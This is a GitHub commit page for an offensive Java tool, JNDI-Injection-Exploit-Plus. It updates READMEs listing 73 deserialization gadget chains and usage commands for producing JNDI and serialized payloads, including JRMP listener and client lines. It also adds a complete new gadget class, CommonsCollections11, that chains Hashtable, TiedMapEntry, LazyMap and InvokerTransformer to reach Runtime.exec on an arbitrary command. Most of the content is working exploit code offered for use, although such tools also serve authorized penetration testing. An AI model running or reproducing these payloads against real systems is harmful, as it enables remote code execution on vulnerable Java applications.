Skip to content

Commit 4640bb6

Browse files
committed
add some
1 parent 5b19bcc commit 4640bb6

16 files changed

+813
-83
lines changed

README.md

Lines changed: 19 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -35,7 +35,7 @@ Groovy (GroovyClassLoader) | @cckuailong | trustURLCodebase is false but have To
3535
Groovy (GroovyShell) | @cckuailong | trustURLCodebase is false but have Tomcat and Groovy in classpath
3636
Websphere Readfile | @cckuailong | trustURLCodebase is false but have WebSphere v6-v9 in classpath
3737

38-
#### 3. Deserailization Gadget (total: 64)
38+
#### 3. Deserailization Gadget (total: 73)
3939

4040
P.S. More Gadgets (:arrow_up: ) than ysoserial, welcome to PR more! ^_^
4141

@@ -56,15 +56,24 @@ Coherence6 :arrow_up: |@cckuailong |coherence:12.2.1.3
5656
CommonsBeanutils1 |@frohoff |commons-beanutils:1.9.2
5757
CommonsBeanutils2 :arrow_up: |@cckuailong |commons-beanutils:1.9.2
5858
CommonsCollections1 |@frohoff |commons-collections:3.1
59+
CommonsCollections1_1 |@cckuailong |commons-collections:3.1
5960
CommonsCollections2 |@frohoff |commons-collections4:4.0
61+
CommonsCollections2_1 |@cckuailong |commons-collections4:4.0
6062
CommonsCollections3 |@frohoff |commons-collections:3.1
63+
CommonsCollections3_1 |@cckuailong |commons-collections:3.1
6164
CommonsCollections4 |@frohoff |commons-collections4:4.0
6265
CommonsCollections5 |@matthias_kaiser, @jasinner |commons-collections:3.1
66+
CommonsCollections5_1 |@cckuailong |commons-collections:3.1
6367
CommonsCollections6 |@matthias_kaiser |commons-collections:3.1
68+
CommonsCollections6_1 |@cckuailong |commons-collections:3.1
69+
CommonsCollections6_2 |@cckuailong |commons-collections:3.1
70+
CommonsCollections6_3 |@cckuailong |commons-collections:3.1
6471
CommonsCollections7 |@scristalli, @hanyrax, @EdoardoVignati |commons-collections:3.1
72+
CommonsCollections7_1 |@cckuailong |commons-collections:3.1
6573
CommonsCollections8 :arrow_up: |@cckuailong |commons-collections4:4.0
66-
CommonsCollections9 :arrow_up: |@cckuailong |commons-collections:3.1
74+
CommonsCollections9 :arrow_up: |@cckuailong |commons-collections:3.2.1
6775
CommonsCollections10 :arrow_up:|@cckuailong |commons-collections:3.2.1
76+
CommonsCollections11 :arrow_up:|@cckuailong |commons-collections:3.1
6877
FileUpload1 |@mbechler |commons-fileupload:1.3.1, commons-io:2.4 | file uploading
6978
Groovy1 |@frohoff |groovy:2.3.9
7079
Hibernate1 |@mbechler|
@@ -125,15 +134,15 @@ JbossRemoting | Jboss Remoting Port Unserialization
125134
- Example
126135

127136
```shell
128-
$ java -jar JNDI-Injection-Exploit-Plus-2.0-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -W Xstream
137+
$ java -jar JNDI-Injection-Exploit-Plus-2.1-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -W Xstream
129138
```
130139

131140
![](./img/4.png)
132141

133142
#### Web service to return Deserial Gadgets
134143

135144
```shell
136-
java -jar JNDI-Injection-Exploit-Plus-2.0-SNAPSHOT-all.jar
145+
java -jar JNDI-Injection-Exploit-Plus-2.1-SNAPSHOT-all.jar
137146
```
138147

139148
```shell
@@ -153,7 +162,7 @@ P.S. Param wrapper & output is opetional
153162
Run as
154163

155164
```shell
156-
$ java -jar JNDI-Injection-Exploit-Plus-2.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
165+
$ java -jar JNDI-Injection-Exploit-Plus-2.1-SNAPSHOT-all.jar [-C] [command] [-A] [address]
157166
```
158167

159168
where:
@@ -183,7 +192,7 @@ Points for attention:
183192
Run as
184193

185194
```shell
186-
$ java -jar JNDI-Injection-Exploit-Plus-2.0-SNAPSHOT-all.jar [-C] [command] [-D] [Gadget] [-O] [base64/hex]
195+
$ java -jar JNDI-Injection-Exploit-Plus-2.1-SNAPSHOT-all.jar [-C] [command] [-D] [Gadget] [-O] [base64/hex]
187196
```
188197

189198
where:
@@ -201,13 +210,13 @@ where:
201210
- JRMPListener
202211

203212
```shell
204-
java -cp JNDI-Injection-Exploit-Plus-2.0-SNAPSHOT-all.jar exploit.JRMPListener <port> CommonsCollections1 calc
213+
java -cp JNDI-Injection-Exploit-Plus-2.1-SNAPSHOT-all.jar exploit.JRMPListener <port> CommonsCollections1 calc
205214
```
206215

207216
- JRMPClient
208217

209218
```shell
210-
java -jar JNDI-Injection-Exploit-Plus-2.0-SNAPSHOT-all.jar -C "<ip>:<port>" -D "JRMPClient" -O base64
219+
java -jar JNDI-Injection-Exploit-Plus-2.1-SNAPSHOT-all.jar -C "<ip>:<port>" -D "JRMPClient" -O base64
211220
```
212221

213222
## Examples
@@ -219,7 +228,7 @@ Local demo:
219228
1. Start the tool like this:
220229

221230
```shell
222-
$ java -jar JNDI-Injection-Exploit-Plus-2.0-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
231+
$ java -jar JNDI-Injection-Exploit-Plus-2.1-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
223232
```
224233

225234
Screenshot:
@@ -250,7 +259,7 @@ For More Examples: [Test-JNDI-Injection-Exploit-Plus](https://github.com/cckuail
250259
### Deserialization Payloads
251260

252261
```shell
253-
$ java -jar JNDI-Injection-Exploit-Plus-2.0-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -D "Spring2" -O base64
262+
$ java -jar JNDI-Injection-Exploit-Plus-2.1-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -D "Spring2" -O base64
254263
```
255264

256265
Base64 Output Result:

README_zh.md

Lines changed: 9 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -12,14 +12,14 @@ JNDI-Injection-Exploit-Plus改写自welk1n大佬的JNDI-Injection-Exploit项目
1212

1313
- 远程Reference链 (3种)
1414
- 本地Reference链 (4种)
15-
- 反序列化链(64种
15+
- 反序列化链(73种
1616

1717
P.S. 具体利用链名称及依赖见 [表格](./README.md)
1818

1919
#### 使用方法
2020

2121
```
22-
$ java -jar JNDI-Injection-Exploit-Plus-2.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
22+
$ java -jar JNDI-Injection-Exploit-Plus-2.1-SNAPSHOT-all.jar [-C] [command] [-A] [address]
2323
```
2424

2525
#### 参数说明
@@ -39,7 +39,7 @@ $ java -jar JNDI-Injection-Exploit-Plus-2.0-SNAPSHOT-all.jar [-C] [command] [-A]
3939
1. 运行工具
4040

4141
```
42-
$ java -jar JNDI-Injection-Exploit-Plus-2.0-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
42+
$ java -jar JNDI-Injection-Exploit-Plus-2.1-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
4343
```
4444

4545
![](./img/1.png)
@@ -64,7 +64,7 @@ class Test{
6464
#### 使用方法
6565

6666
```
67-
$ java -jar JNDI-Injection-Exploit-Plus-2.0-SNAPSHOT-all.jar [-C] [command] [-D] [Gadget] [-O] [base64/hex]
67+
$ java -jar JNDI-Injection-Exploit-Plus-2.1-SNAPSHOT-all.jar [-C] [command] [-D] [Gadget] [-O] [base64/hex]
6868
```
6969

7070
#### 参数说明
@@ -84,7 +84,7 @@ $ java -jar JNDI-Injection-Exploit-Plus-2.0-SNAPSHOT-all.jar [-C] [command] [-D]
8484
1. 普通
8585

8686
```
87-
$ java -jar JNDI-Injection-Exploit-Plus-2.0-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -D "Spring2" -O base64
87+
$ java -jar JNDI-Injection-Exploit-Plus-2.1-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -D "Spring2" -O base64
8888
```
8989

9090
![](./img/3.png)
@@ -93,12 +93,12 @@ $ java -jar JNDI-Injection-Exploit-Plus-2.0-SNAPSHOT-all.jar -C "/System/Applica
9393

9494
- JRMPListener
9595
```
96-
java -cp JNDI-Injection-Exploit-Plus-2.0-SNAPSHOT-all.jar exploit.JRMPListener <port> CommonsCollections1 calc
96+
java -cp JNDI-Injection-Exploit-Plus-2.1-SNAPSHOT-all.jar exploit.JRMPListener <port> CommonsCollections1 calc
9797
```
9898

9999
- JRMPClient
100100
```
101-
java -jar JNDI-Injection-Exploit-Plus-2.0-SNAPSHOT-all.jar -C "<ip>:<port>" -D "JRMPClient" -O base64
101+
java -jar JNDI-Injection-Exploit-Plus-2.1-SNAPSHOT-all.jar -C "<ip>:<port>" -D "JRMPClient" -O base64
102102
```
103103

104104
#### 提供反序列化包装器
@@ -112,15 +112,15 @@ JbossRemoting | Jboss Remoting 服务反序列化
112112
- 示例
113113

114114
```shell
115-
$ java -jar JNDI-Injection-Exploit-Plus-2.0-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -W Xstream
115+
$ java -jar JNDI-Injection-Exploit-Plus-2.1-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -W Xstream
116116
```
117117

118118
![](./img/4.png)
119119

120120
#### 可以返回反序列化数据的web服务
121121

122122
```shell
123-
java -jar JNDI-Injection-Exploit-Plus-2.0-SNAPSHOT-all.jar
123+
java -jar JNDI-Injection-Exploit-Plus-2.1-SNAPSHOT-all.jar
124124
```
125125

126126
```shell

pom.xml

Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -95,6 +95,17 @@
9595
<version>1.9</version>
9696
</dependency>
9797

98+
<!-- <dependency>-->
99+
<!-- <groupId>org.glassfish.main.web</groupId>-->
100+
<!-- <artifactId>web-core</artifactId>-->
101+
<!-- <version>5.0.1</version>-->
102+
<!-- </dependency>-->
103+
<!-- <dependency>-->
104+
<!-- <groupId>org.glassfish.grizzly</groupId>-->
105+
<!-- <artifactId>grizzly-http-servlet-server</artifactId>-->
106+
<!-- <version>2.4.3</version>-->
107+
<!-- </dependency>-->
108+
98109
<dependency>
99110
<groupId>org.apache.tomcat</groupId>
100111
<artifactId>tomcat-catalina</artifactId>
@@ -123,11 +134,24 @@
123134
<version>1.9.2</version>
124135
</dependency>
125136

137+
<dependency>
138+
<groupId>commons-collections</groupId>
139+
<artifactId>commons-collections</artifactId>
140+
<version>3.1</version>
141+
</dependency>
142+
143+
<dependency>
144+
<groupId>commons-collections</groupId>
145+
<artifactId>commons-collections</artifactId>
146+
<version>3.2.1</version>
147+
</dependency>
148+
126149
<dependency>
127150
<groupId>org.apache.commons</groupId>
128151
<artifactId>commons-collections4</artifactId>
129152
<version>4.0</version>
130153
</dependency>
154+
131155
<dependency>
132156
<groupId>org.aspectj</groupId>
133157
<artifactId>aspectjweaver</artifactId>
@@ -300,6 +324,7 @@
300324
<version>4.12</version>
301325
<scope>test</scope>
302326
</dependency>
327+
303328
</dependencies>
304329

305330

@@ -478,6 +503,7 @@
478503
<goal>install-file</goal>
479504
</goals>
480505
</execution>
506+
481507
</executions>
482508
</plugin>
483509
</plugins>

src/main/java/payloads/CommonsCollections10.java

Lines changed: 0 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,5 @@
11
package payloads;
22

3-
import org.apache.commons.collections.comparators.TransformingComparator;
43
import org.apache.commons.collections.functors.InvokerTransformer;
54
import org.apache.commons.collections.keyvalue.TiedMapEntry;
65
import org.apache.commons.collections.map.LazyMap;
@@ -10,7 +9,6 @@
109
import util.PayloadRunner;
1110
import util.Reflections;
1211

13-
import javax.management.BadAttributeValueExpException;
1412
import java.lang.reflect.Field;
1513
import java.util.HashMap;
1614
import java.util.HashSet;
Lines changed: 85 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,85 @@
1+
package payloads;
2+
3+
import org.apache.commons.collections.Transformer;
4+
import org.apache.commons.collections.functors.ChainedTransformer;
5+
import org.apache.commons.collections.functors.ConstantTransformer;
6+
import org.apache.commons.collections.functors.InvokerTransformer;
7+
import org.apache.commons.collections.keyvalue.TiedMapEntry;
8+
import org.apache.commons.collections.map.LazyMap;
9+
import payloads.annotation.Authors;
10+
import payloads.annotation.Dependencies;
11+
import util.PayloadRunner;
12+
import util.Reflections;
13+
14+
import java.lang.reflect.Field;
15+
import java.util.HashMap;
16+
import java.util.Hashtable;
17+
import java.util.Map;
18+
19+
/*
20+
Gadget chain:
21+
java.util.Hashtable.readObject
22+
java.util.Hashtable.reconstitutionPut
23+
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
24+
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
25+
org.apache.commons.collections.map.LazyMap.get()
26+
org.apache.commons.collections.functors.ChainedTransformer.transform()
27+
org.apache.commons.collections.functors.InvokerTransformer.transform()
28+
java.lang.reflect.Method.invoke()
29+
java.lang.Runtime.exec()
30+
*/
31+
@Dependencies({"commons-collections:commons-collections:3.1"})
32+
@Authors({Authors.CCKUAILONG})
33+
34+
public class CommonsCollections11 extends PayloadRunner implements ObjectPayload<Hashtable> {
35+
36+
public Hashtable getObject(String command) throws Exception {
37+
final String[] execArgs = new String[]{command};
38+
39+
final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
40+
41+
final Transformer[] transformers = new Transformer[]{
42+
new ConstantTransformer(Runtime.class),
43+
new InvokerTransformer("getMethod",
44+
new Class[]{String.class, Class[].class},
45+
new Object[]{"getRuntime", new Class[0]}),
46+
new InvokerTransformer("invoke",
47+
new Class[]{Object.class, Object[].class},
48+
new Object[]{null, new Object[0]}),
49+
new InvokerTransformer("exec",
50+
new Class[]{String.class},
51+
execArgs),
52+
new ConstantTransformer(1)};
53+
54+
final Map innerMap = new HashMap();
55+
56+
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
57+
58+
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
59+
Hashtable hashtable = new Hashtable();
60+
hashtable.put("foo",1);
61+
// 获取hashtable的table类属性
62+
Field tableField = Hashtable.class.getDeclaredField("table");
63+
Reflections.setAccessible(tableField);
64+
Object[] table = (Object[])tableField.get(hashtable);
65+
Object entry1 = table[0];
66+
if(entry1==null)
67+
entry1 = table[1];
68+
// 获取Hashtable.Entry的key属性
69+
Field keyField = entry1.getClass().getDeclaredField("key");
70+
Reflections.setAccessible(keyField);
71+
// 将key属性给替换成构造好的TiedMapEntry实例
72+
keyField.set(entry1, entry);
73+
// 填充真正的命令执行代码
74+
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
75+
return hashtable;
76+
}
77+
78+
public static byte[] getBytes(final String command) throws Exception {
79+
return PayloadRunner.run(CommonsCollections11.class, command);
80+
}
81+
82+
public static void main(final String command) throws Exception {
83+
PayloadRunner.run(CommonsCollections11.class, command);
84+
}
85+
}

0 commit comments

Comments
 (0)